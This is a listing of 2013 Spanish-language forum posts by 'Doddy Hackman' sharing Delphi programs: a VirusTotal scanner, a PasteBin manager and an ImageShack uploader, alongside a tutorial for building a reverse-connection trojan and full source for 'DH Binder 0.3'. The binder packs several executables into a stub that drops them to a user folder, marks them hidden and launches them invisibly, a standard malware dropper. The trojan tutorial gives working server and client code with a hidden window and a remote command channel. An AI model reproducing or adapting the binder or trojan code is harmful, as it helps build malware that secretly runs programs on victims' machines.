|
181
|
Programación / Programación General / [Delphi] VirusTotal Scanner 0.1
|
en: 1 Noviembre 2013, 16:51 pm
|
Un simple programa en Delphi para usar el API de VirusTotal. Una imagen : El codigo : // VirusTotal Scanner 0.1 // (C) Doddy Hackman 2013 unit virus; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, StdCtrls, sButton, sMemo, IdMultipartFormData, DBXJSON, PerlRegEx, IdHashMessageDigest, idHash, sEdit, sGroupBox, ComCtrls, sListView, sStatusBar, acPNG, ExtCtrls; type TForm1 = class(TForm) IdHTTP1: TIdHTTP; sSkinManager1: TsSkinManager; PerlRegEx1: TPerlRegEx; sGroupBox1: TsGroupBox; sEdit1: TsEdit; OpenDialog1: TOpenDialog; sGroupBox2: TsGroupBox; sListView1: TsListView; sStatusBar1: TsStatusBar; sGroupBox3: TsGroupBox; sMemo1: TsMemo; sGroupBox4: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sButton4: TsButton; sButton5: TsButton; Image1: TImage; procedure FormCreate(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton5Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} function convertirmd5(const archivo: string): string; var valormd5: TIdHashMessageDigest5; archivox: TFileStream; begin valormd5 := TIdHashMessageDigest5.Create; archivox := TFileStream.Create(archivo, fmOpenRead); Result := valormd5.HashStreamAsHex(archivox) end; procedure TForm1.FormCreate(Sender: TObject); var dir: string; begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'falloutstyle'; sSkinManager1.Active := True; end; procedure TForm1.sButton1Click(Sender: TObject); begin OpenDialog1.InitialDir := GetCurrentDir; if OpenDialog1.Execute then begin sEdit1.Text := OpenDialog1.filename; end; end; procedure TForm1.sButton2Click(Sender: TObject); var datos: TIdMultiPartFormDataStream; code: string; antivirus: string; resultado: string; html: string; begin if FileExists(sEdit1.Text) then begin sMemo1.Clear; sListView1.Clear; sStatusBar1.Panels[0].Text := '[+] Scanning ...'; Form1.sStatusBar1.Update; datos := TIdMultiPartFormDataStream.Create; datos.AddFormField('resource', convertirmd5(sEdit1.Text)); datos.AddFormField('apikey', 'fuck you'); code := IdHTTP1.Post('http://www.virustotal.com/vtapi/v2/file/report', datos); code := StringReplace(code, '{"scans":', '', [rfReplaceAll, rfIgnoreCase]); PerlRegEx1.Regex := '"(.*?)": {"detected": (.*?), "version": (.*?), "result": (.*?), "update": (.*?)}'; PerlRegEx1.Subject := code; while PerlRegEx1.MatchAgain do begin antivirus := PerlRegEx1.SubExpressions[1]; resultado := PerlRegEx1.SubExpressions[4]; resultado := StringReplace (resultado, '"', '', [rfReplaceAll, rfIgnoreCase]); with sListView1.Items.Add do begin Caption := antivirus; if (resultado = 'null') then begin SubItems.Add('Clean'); end else begin SubItems.Add(resultado); end; end; end; PerlRegEx1.Regex := '"scan_id": "(.*?)"'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sMemo1.Lines.Add('[+] Scan_ID : ' + PerlRegEx1.SubExpressions[1]); end; PerlRegEx1.Regex := '"scan_date": "(.*?)"'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sMemo1.Lines.Add('[+] Scan_Date : ' + PerlRegEx1.SubExpressions[1]); end; PerlRegEx1.Regex := '"permalink": "(.*?)"'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sMemo1.Lines.Add('[+] PermaLink : ' + PerlRegEx1.SubExpressions[1]); end; PerlRegEx1.Regex := '"verbose_msg": "(.*?)", "total": (.*?), "positives": (.*?),'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sMemo1.Lines.Add('[+] Founds : ' + PerlRegEx1.SubExpressions[3] + '/' + PerlRegEx1.SubExpressions[2]); end; sStatusBar1.Panels[0].Text := '[+] Done'; Form1.sStatusBar1.Update; end else begin sStatusBar1.Panels[0].Text := '[-] File Not Found'; Form1.sStatusBar1.Update; end; end; procedure TForm1.sButton4Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton5Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
182
|
Programación / Programación General / [Delphi] Creacion de un Troyano de conexion inversa
|
en: 29 Octubre 2013, 22:37 pm
|
[Titulo] : Creacion de un Troyano de Conexion Inversa [Lenguaje] : Delphi [Autor] : Doddy Hackman [Temario] -- =================-------- 0x01 : Introduccion 0x02 : Creacion del servidor 0x03 : Creacion del cliente 0x04 : Probando el programa -- =================-------- 0x01 : Introduccion Hola voy a empezar este corto manual sobre como hacer un troyano de conexion inversa en delphi 2010 , un troyano teoricamente es un software malicioso que sirve para entrar en la computadora de la persona a la que quieren infectar. En este caso vamos a hacer uno de conexion inversa , tradicionalmente se hacian troyanos de conexion directa donde el infectado se convertia en servidor abriendo un puerto para que el atacante puediera entrar simplemente con una conexion por sockets , pero la onda de ahora es la conexion inversa donde el atacante se convierte en el pobre servidor para que las victimas se conecten a nosotros , lo bueno de la conexion inversa es que a la maquina infectada no le va a saltar el firewall cosa que siempre pasa cuando el infectado recibe el amable cartelito de que si quiere desbloquear un misterioso puerto xDD. Para esto vamos a necesitar usar los componentes ServerSocket y ClientSocket que tiene delphi. Para instarlo tenemos que ir a Menu -> components -> install packages En el menu que les aparece busquen el directorio Archivos de programa -> Embarcadero -> Rad Studio -> 7.0 -> bin -> dclsockets70.bpl Y listo una vez cargado el archivo bpl les va aparecer en la paleta de internet los componentes ServerSocket y ClientSocket. Antes de comenzar debemos entender que el servidor seremos nosotros osea el atacante y el cliente la victima , no se vayan a confundir y pensarlo al reves xDD. 0x02 : Creacion del servidor Primero vamos a crear el servidor , para eso vamos a File->New->VCL Forms Application como lo hice en la imagen : Para hacer el formulario decente tenemos que agregar lo siguiente. - 1 ListBox
- 2 botones
- 1 Edit
- 1 ServerSocket (lo ponemos en true para que este activo )
Tiene que quedar como esta imagen. Una vez hecho elegimos cualquiera de los dos botones con el fin de usarlo para refrescar el listbox con las conexiones activas , entonces hacemos doble click en el boton que elegimos como "Refresh" y ponemos el siguiente codigo. procedure TForm1.Button1Click(Sender: TObject); var lugar: integer; // Declaramos la variable lugar como entero begin ListBox1.Clear; // Limpiamos el contenido de ListBox for lugar := 0 To ServerSocket1.Socket.ActiveConnections - 1 do // Listamos las conexiones que // hay en el server begin ListBox1.Items.add(ServerSocket1.Socket.Connections[lugar].RemoteHost); // Agregamos al ListBox // el host del infectado // conectado end; end;
Tiene que quedar como en la siguiente imagen. Entonces pasamos al siguiente boton que lo vamos usar para mandar los comandos al pc infectado , entonces hacemos doble click en el segundo boton y pegamos el siguiente codigo comentado. procedure TForm1.Button2Click(Sender: TObject); begin ServerSocket1.Socket.Connections[ListBox1.Itemindex].SendText(Edit1.Text); // Mandamos el comando // al pc infectado que // seleccionamos en el // ListBox end;
Una imagen de como deberia quedar el codigo. 0x03 : Creacion del cliente Ahora pasamos al cliente. Lo unico que debemos agregar es el componente ClientSocket al formulario. Entonces vamos al evento OnCreate del formulario central y pegamos el siguiente codigo. procedure TForm1.FormCreate(Sender: TObject); begin ClientSocket1.Host := '127.0.0.1'; // Establecemos el host con valor de nuestro ip local ClientSocket1.Port := 666; // Establecemos el puerto que sera 666 ClientSocket1.Open; // Iniciamos la conexion con el servidor Application.ShowMainForm := False; // Ocultamos el formulario para que no se vea la ventana end;
Despues de esto vamos al evento OnRead del componente ClientSocket y copiamos el siguiente codigo comentado. procedure TForm1.ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); var code: string; begin // Tenemos que agregar 'uses MMSystem' al inicio del codigo para poder abrir y cerrar la lectora code := Socket.ReceiveText; // Capturamos el contenido del socket en la variable code if (Pos('opencd', code) > 0) then // Si encontramos opencd en el codigo ... begin mciSendString('Set cdaudio door open wait', nil, 0, handle); // Usamos mciSendString para abrir // la lectora end; if (Pos('closecd', code) > 0) then // Si encontramos closecd en la variable code ... begin mciSendString('Set cdaudio door closed wait', nil, 0, handle); // Cerramos la lectora usando // mciSendString end; end;
Una imagen de como deberia quedar el codigo. 0x04 : Probando el programa El codigo resulto mas sencillo de lo que esperaba ya que gracias a los eventos lo hice a todo en 5 minutos , entonces vamos y cargamos los ejecutables primero el servidor y despues el cliente. Entonces si hicieron todo bien veran que se cargo en el listbox el servidor de una victima que en este caso seria localhost , entonces seleccionamos localhost del listbox y le hacemos click , entonces vamos a usar los dos comandos disponibles que son "opencd" y "closecd". Los comandos disponibles solo sirven para abrir y cerrar la lectora pero se pueden hacer muchas cosas solo es cuestion de imaginacion , una idea graciosa seria cargar el word y que le escriba solo , de hecho ya hice eso en mi DH Botnet que esta hecha en Perl y PHP. Les muestro una imagen de como seria todo. Ya llegamos al final de este corto manual pero les aviso que pronto se viene mi primer troyano de conexion inversa en Delphi. --========-- The End ? --========-- Version PDF.
|
|
|
183
|
Programación / Programación General / [Delphi] DH Binder 0.3
|
en: 25 Octubre 2013, 17:05 pm
|
Un simple Binder que hice en Delphi con las siguientes opciones : - Junta todos los archivos que quieran
- Se puede seleccionar donde se extraen los archivos
- Se puede cargar los archivos de forma oculta o normal
- Se puede ocultar los archivos
- Se puede elegir el icono del ejecutable generado
Una imagen : El codigo del Binder. // DH Binder 0.3 // (C) Doddy Hackman 2013 // Credits : // Joiner Based in : "Ex Binder v0.1" by TM // Icon Changer based in : "IconChanger" By Chokstyle // Thanks to TM & Chokstyle unit dhbinde; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, sSkinManager, acPNG, ExtCtrls, ComCtrls, sListView, sStatusBar, StdCtrls, sGroupBox, sButton, sComboBox, sCheckBox, Menus, sEdit, madRes; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Image1: TImage; sGroupBox1: TsGroupBox; sStatusBar1: TsStatusBar; sListView1: TsListView; sGroupBox2: TsGroupBox; sGroupBox3: TsGroupBox; Image2: TImage; sButton1: TsButton; sGroupBox4: TsGroupBox; sComboBox1: TsComboBox; sGroupBox5: TsGroupBox; sCheckBox1: TsCheckBox; sGroupBox6: TsGroupBox; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; PopupMenu1: TPopupMenu; l1: TMenuItem; OpenDialog1: TOpenDialog; OpenDialog2: TOpenDialog; sEdit1: TsEdit; C1: TMenuItem; procedure l1Click(Sender: TObject); procedure FormCreate(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure C1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses about; {$R *.dfm} // Functions function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; // procedure TForm1.C1Click(Sender: TObject); begin sListView1.Items.Clear; end; procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'tv-b'; sSkinManager1.Active := True; OpenDialog1.InitialDir := GetCurrentDir; OpenDialog2.InitialDir := GetCurrentDir; OpenDialog2.Filter := 'ICO|*.ico|'; end; procedure TForm1.l1Click(Sender: TObject); var op: String; begin if OpenDialog1.Execute then begin op := InputBox('Add File', 'Execute Hide ?', 'Yes'); with sListView1.Items.Add do begin Caption := ExtractFileName(OpenDialog1.FileName); if (op = 'Yes') then begin SubItems.Add(OpenDialog1.FileName); SubItems.Add('Hide'); end else begin SubItems.Add(OpenDialog1.FileName); SubItems.Add('Normal'); end; end; end; end; procedure TForm1.sButton1Click(Sender: TObject); begin if OpenDialog2.Execute then begin Image2.Picture.LoadFromFile(OpenDialog2.FileName); sEdit1.Text := OpenDialog2.FileName; end; end; procedure TForm1.sButton2Click(Sender: TObject); var i: integer; nombre: string; ruta: string; tipo: string; savein: string; opcionocultar: string; lineafinal: string; uno: DWORD; tam: DWORD; dos: DWORD; tres: DWORD; todo: Pointer; change: DWORD; valor: string; stubgenerado: string; begin if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then begin ShowMessage('You have to choose two or more files'); end else begin stubgenerado := 'done.exe'; if (sCheckBox1.Checked = True) then begin opcionocultar := '1'; end else begin opcionocultar := '0'; end; if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then begin savein := 'USERPROFILE'; end else begin savein := sComboBox1.Items[sComboBox1.ItemIndex]; end; DeleteFile(stubgenerado); CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe') , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True); uno := BeginUpdateResource (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True); for i := 0 to sListView1.Items.Count - 1 do begin nombre := sListView1.Items[i].Caption; ruta := sListView1.Items[i].SubItems[0]; tipo := sListView1.Items[i].SubItems[1]; lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo + '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]'; lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') + '[63686175]'; dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); tam := GetFileSize(dos, nil); GetMem(todo, tam); ReadFile(dos, todo^, tam, tres, nil); CloseHandle(dos); UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam); end; EndUpdateResource(uno, False); if not(sEdit1.Text = '') then begin try begin change := BeginUpdateResourceW (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' + stubgenerado)), False); LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar(wideString(sEdit1.Text))); EndUpdateResourceW(change, False); sStatusBar1.Panels[0].Text := '[+] Done '; Form1.sStatusBar1.Update; end; except begin sStatusBar1.Panels[0].Text := '[-] Error'; Form1.sStatusBar1.Update; end; end; end else begin sStatusBar1.Panels[0].Text := '[+] Done '; Form1.sStatusBar1.Update; end; end; end; procedure TForm1.sButton3Click(Sender: TObject); begin Form2.Show; end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
El codigo del Stub // DH Binder 0.3 // (C) Doddy Hackman 2013 // Credits : // Joiner Based in : "Ex Binder v0.1" by TM // Icon Changer based in : "IconChanger" By Chokstyle // Thanks to TM & Chokstyle // Stub program stub; uses Windows, SysUtils, ShellApi; // Functions function regex(text: String; deaca: String; hastaaca: String): String; begin Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1); SetLength(text, AnsiPos(hastaaca, text) - 1); Result := text; end; function dhencode(texto, opcion: string): string; // Thanks to Taqyon // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex var num: integer; aca: string; cantidad: integer; begin num := 0; Result := ''; aca := ''; cantidad := 0; if (opcion = 'encode') then begin cantidad := Length(texto); for num := 1 to cantidad do begin aca := IntToHex(ord(texto[num]), 2); Result := Result + aca; end; end; if (opcion = 'decode') then begin cantidad := Length(texto); for num := 1 to cantidad div 2 do begin aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2))); Result := Result + aca; end; end; end; // // Start the game function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall; var data: DWORD; uno: DWORD; dos: DWORD; cinco2: string; nombre: string; tipodecarga: string; ruta: string; ocultar: string; begin Result := True; cinco2 := cinco; cinco2 := regex(cinco2, '[63686175]', '[63686175]'); cinco2 := dhencode(cinco2, 'decode'); cinco2 := LowerCase(cinco2); nombre := regex(cinco2, '[nombre]', '[nombre]'); tipodecarga := regex(cinco2, '[tipo]', '[tipo]'); ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/'; ocultar := regex(cinco2, '[hide]', '[hide]'); data := FindResource(0, cinco, cuatro); uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data), dos, nil); CloseHandle(uno); if (ocultar = '1') then begin SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN); end; if (tipodecarga = 'normal') then begin ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL); end else begin ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE); end; end; begin EnumResourceNames(0, RT_RCDATA, @start, 0); end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
184
|
Programación / Programación General / [Delphi] DH PasteBin Manager 0.2
|
en: 18 Octubre 2013, 18:00 pm
|
Un simple programa en delphi para subir y bajar codigos en pastebin. Unas imagenes : Los codigos : Menu // DH PasteBin Manager 0.2 // (C) Doddy Hackman 2013 unit paste; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, PerlRegEx, sSkinManager, ComCtrls, sStatusBar, sGroupBox, sMemo, sButton, sEdit, sLabel, sListBox, acPNG, ExtCtrls; type TForm1 = class(TForm) sSkinManager1: TsSkinManager; Image1: TImage; sGroupBox1: TsGroupBox; sButton1: TsButton; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; procedure FormCreate(Sender: TObject); procedure sButton3Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation uses formdown, formup; {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var dir: string; begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'matrix'; sSkinManager1.Active := True; dir := ExtractFilePath(Application.ExeName) + '/downloads'; if not(DirectoryExists(dir)) then begin CreateDir(dir); end; ChDir(dir); end; procedure TForm1.sButton1Click(Sender: TObject); begin Form3.Show; end; procedure TForm1.sButton2Click(Sender: TObject); begin Form2.Show; end; procedure TForm1.sButton3Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton4Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Uploader // DH PasteBin Manager 0.2 // (C) Doddy Hackman 2013 unit formup; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sButton, sEdit, sLabel, sGroupBox, acPNG, ExtCtrls, ComCtrls, sStatusBar, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, sMemo; type TForm3 = class(TForm) sGroupBox4: TsGroupBox; sLabel3: TsLabel; sLabel4: TsLabel; sEdit3: TsEdit; sEdit4: TsEdit; sGroupBox5: TsGroupBox; sButton3: TsButton; sButton4: TsButton; sButton5: TsButton; Image1: TImage; sStatusBar1: TsStatusBar; OpenDialog1: TOpenDialog; IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; sMemo1: TsMemo; procedure sButton4Click(Sender: TObject); procedure sButton5Click(Sender: TObject); procedure sButton3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form3: TForm3; implementation {$R *.dfm} procedure TForm3.sButton3Click(Sender: TObject); var datos: TIdMultiPartFormDataStream; code: string; titulo: string; contenido: string; archivo: TextFile; texto: string; begin titulo := ExtractFileName(sEdit3.Text); sMemo1.Lines.Clear; AssignFile(archivo, sEdit3.Text); Reset(archivo); while not Eof(archivo) do begin ReadLn(archivo, texto); sMemo1.Lines.Add(texto); end; CloseFile(archivo); contenido := sMemo1.Lines.Text; datos := TIdMultiPartFormDataStream.Create; datos.AddFormField('api_dev_key', 'fuck you'); datos.AddFormField('api_option', 'paste'); datos.AddFormField('api_paste_name', titulo); datos.AddFormField('api_paste_code', contenido); sStatusBar1.Panels[0].Text := '[+] Uploading ...'; Form3.sStatusBar1.Update; code := IdHTTP1.Post('http://pastebin.com/api/api_post.php', datos); PerlRegEx1.Regex := 'pastebin'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sStatusBar1.Panels[0].Text := '[+] Done'; Form3.sStatusBar1.Update; sEdit4.Text := code; end else begin sStatusBar1.Panels[0].Text := '[-] Error Uploading'; Form3.sStatusBar1.Update; end; end; procedure TForm3.sButton4Click(Sender: TObject); begin OpenDialog1.InitialDir := GetCurrentDir; if OpenDialog1.Execute then begin sEdit3.Text := OpenDialog1.FileName; end; end; procedure TForm3.sButton5Click(Sender: TObject); begin sEdit4.SelectAll; sEdit4.CopyToClipboard; end; end. // The End ?
El downloader. // DH PasteBin Manager 0.2 // (C) Doddy Hackman 2013 unit formdown; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, sListBox, sButton, sEdit, sLabel, sGroupBox, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, acPNG, ExtCtrls, ComCtrls, sStatusBar, sMemo, acProgressBar; type TForm2 = class(TForm) sGroupBox1: TsGroupBox; sGroupBox2: TsGroupBox; sLabel1: TsLabel; sLabel2: TsLabel; sEdit1: TsEdit; sEdit2: TsEdit; sButton1: TsButton; sGroupBox3: TsGroupBox; sListBox1: TsListBox; sButton2: TsButton; IdHTTP1: TIdHTTP; PerlRegEx1: TPerlRegEx; PerlRegEx2: TPerlRegEx; Image1: TImage; sStatusBar1: TsStatusBar; sProgressBar1: TsProgressBar; procedure sButton1Click(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); private { Private declarations } public { Public declarations } end; var Form2: TForm2; implementation {$R *.dfm} procedure TForm2.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode; AWorkCount: Int64); begin sProgressBar1.Position := AWorkCount; sStatusBar1.Panels[0].Text := '[+] Downloading ...'; Form2.sStatusBar1.Update; end; procedure TForm2.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode; AWorkCountMax: Int64); begin sProgressBar1.Max := AWorkCountMax; sStatusBar1.Panels[0].Text := '[+] Starting download ...'; Form2.sStatusBar1.Update; end; procedure TForm2.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode); begin sProgressBar1.Position := 0; sStatusBar1.Panels[0].Text := '[+] Finished'; Form2.sStatusBar1.Update; end; procedure TForm2.sButton1Click(Sender: TObject); var url: string; url2: string; code: string; i: integer; viendo: string; chau: TStringList; begin // chau := TStringList.Create; chau.Duplicates := dupIgnore; chau.Sorted := True; chau.Assign(sListBox1.Items); sListBox1.Items.Clear; sListBox1.Items.Assign(chau); url := sEdit1.Text; url2 := sEdit2.Text; if not(url = '') then begin PerlRegEx1.Regex := 'pastebin'; PerlRegEx1.Subject := url; if PerlRegEx1.Match then begin sListBox1.Items.Add(url); end; end; if not(url2 = '') then begin code := IdHTTP1.Get(url2); PerlRegEx1.Regex := '(.)(http://.+?)\1'; PerlRegEx1.Subject := code; while PerlRegEx1.MatchAgain do begin for i := 1 to PerlRegEx1.SubExpressionCount do begin viendo := PerlRegEx1.SubExpressions[i]; PerlRegEx2.Regex := 'pastebin'; PerlRegEx2.Subject := viendo; if PerlRegEx2.Match then begin sListBox1.Items.Add(viendo); end; end; end; end; end; procedure TForm2.sButton2Click(Sender: TObject); var url: string; urlabajar: string; id: string; code: string; titulo: string; i: integer; archivobajado: TFileStream; begin for i := sListBox1.Items.Count - 1 downto 0 do begin // url := sListBox1.Items[i]; PerlRegEx1.Regex := 'http:\/\/(.*)\/(.*)'; PerlRegEx1.Subject := url; if PerlRegEx1.Match then begin urlabajar := 'http://pastebin.com/download.php?i=' + PerlRegEx1.SubExpressions[2]; // sMemo1.Lines.Add(urlabajar); code := IdHTTP1.Get(url); PerlRegEx2.Regex := '<div class="paste_box_line1" title="(.*)">'; PerlRegEx2.Subject := code; if PerlRegEx2.Match then begin titulo := PerlRegEx2.SubExpressions[1]; // sMemo1.Lines.Add(titulo); // Baja esto carajo // sStatusBar1.Panels[0].Text := '[+] Downloading :' + urlabajar; // Form2.sStatusBar1.Update; archivobajado := TFileStream.Create(titulo + '.txt', fmCreate); try begin DeleteFile(titulo); IdHTTP1.Get(urlabajar, archivobajado); sStatusBar1.Panels[0].Text := '[+] File Dowloaded'; Form2.sStatusBar1.Update; archivobajado.Free; end; except sStatusBar1.Panels[0].Text := '[-] Failed download'; Form2.sStatusBar1.Update; archivobajado.Free; Abort; end; // end; end; // end; sStatusBar1.Panels[0].Text := '[+] Done'; Form2.sStatusBar1.Update; end; end. // The End ?
Si quieren bajar el proyecto y el ejecutable lo pueden hacer de aca.
|
|
|
186
|
Programación / Programación General / [Delphi] ImageShack Uploader 0.1
|
en: 11 Octubre 2013, 19:55 pm
|
Un simple programa para subir imagenes a ImageShack. Una imagen : El codigo : // ImageShack Uploader 0.1 // Based in the API of ImageShack // Coded By Doddy H unit image; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, Buttons, sGroupBox, sSkinManager, sButton, sEdit, ComCtrls, sStatusBar, acPNG, ExtCtrls, PerlRegEx; type TForm1 = class(TForm) IdHTTP1: TIdHTTP; sSkinManager1: TsSkinManager; sGroupBox1: TsGroupBox; sEdit1: TsEdit; sButton1: TsButton; sGroupBox2: TsGroupBox; sEdit2: TsEdit; sStatusBar1: TsStatusBar; sGroupBox3: TsGroupBox; sButton2: TsButton; sButton3: TsButton; sButton4: TsButton; sButton5: TsButton; Image1: TImage; OpenDialog1: TOpenDialog; PerlRegEx1: TPerlRegEx; procedure FormCreate(Sender: TObject); procedure sButton2Click(Sender: TObject); procedure sButton5Click(Sender: TObject); procedure sButton4Click(Sender: TObject); procedure sButton1Click(Sender: TObject); procedure sButton3Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); begin sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data'; sSkinManager1.SkinName := 'cold'; sSkinManager1.Active := True; OpenDialog1.InitialDir := GetCurrentDir; end; procedure TForm1.sButton1Click(Sender: TObject); begin if OpenDialog1.Execute then begin sEdit1.Text := OpenDialog1.FileName; end; end; procedure TForm1.sButton2Click(Sender: TObject); var datos: TIdMultiPartFormDataStream; code: string; begin if FileExists(sEdit1.Text) then begin sStatusBar1.Panels[0].Text := '[+] Uploading ...'; Form1.sStatusBar1.Update; datos := TIdMultiPartFormDataStream.Create; datos.AddFormField('key', 'fuck you'); datos.AddFile('fileupload', sEdit1.Text, 'application/octet-stream'); datos.AddFormField('format', 'json'); code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos); PerlRegEx1.Regex := '"image_link":"(.*?)"'; PerlRegEx1.Subject := code; if PerlRegEx1.Match then begin sEdit2.Text := PerlRegEx1.SubExpressions[1]; sStatusBar1.Panels[0].Text := '[+] Done'; Form1.sStatusBar1.Update; end else begin sStatusBar1.Panels[0].Text := '[-] Error uploading'; Form1.sStatusBar1.Update; end; end else begin sStatusBar1.Panels[0].Text := '[+] File not Found'; Form1.sStatusBar1.Update; end; end; procedure TForm1.sButton3Click(Sender: TObject); begin sEdit2.SelectAll; sEdit2.CopyToClipboard; end; procedure TForm1.sButton4Click(Sender: TObject); begin ShowMessage('Contact to lepuke[at]hotmail[com]'); end; procedure TForm1.sButton5Click(Sender: TObject); begin Form1.Close(); end; end. // The End ?
Si lo quieren bajar lo pueden hacer de aca.
|
|
|
187
|
Programación / Scripting / [Perl] DH ScreenShoter 0.1
|
en: 4 Octubre 2013, 19:31 pm
|
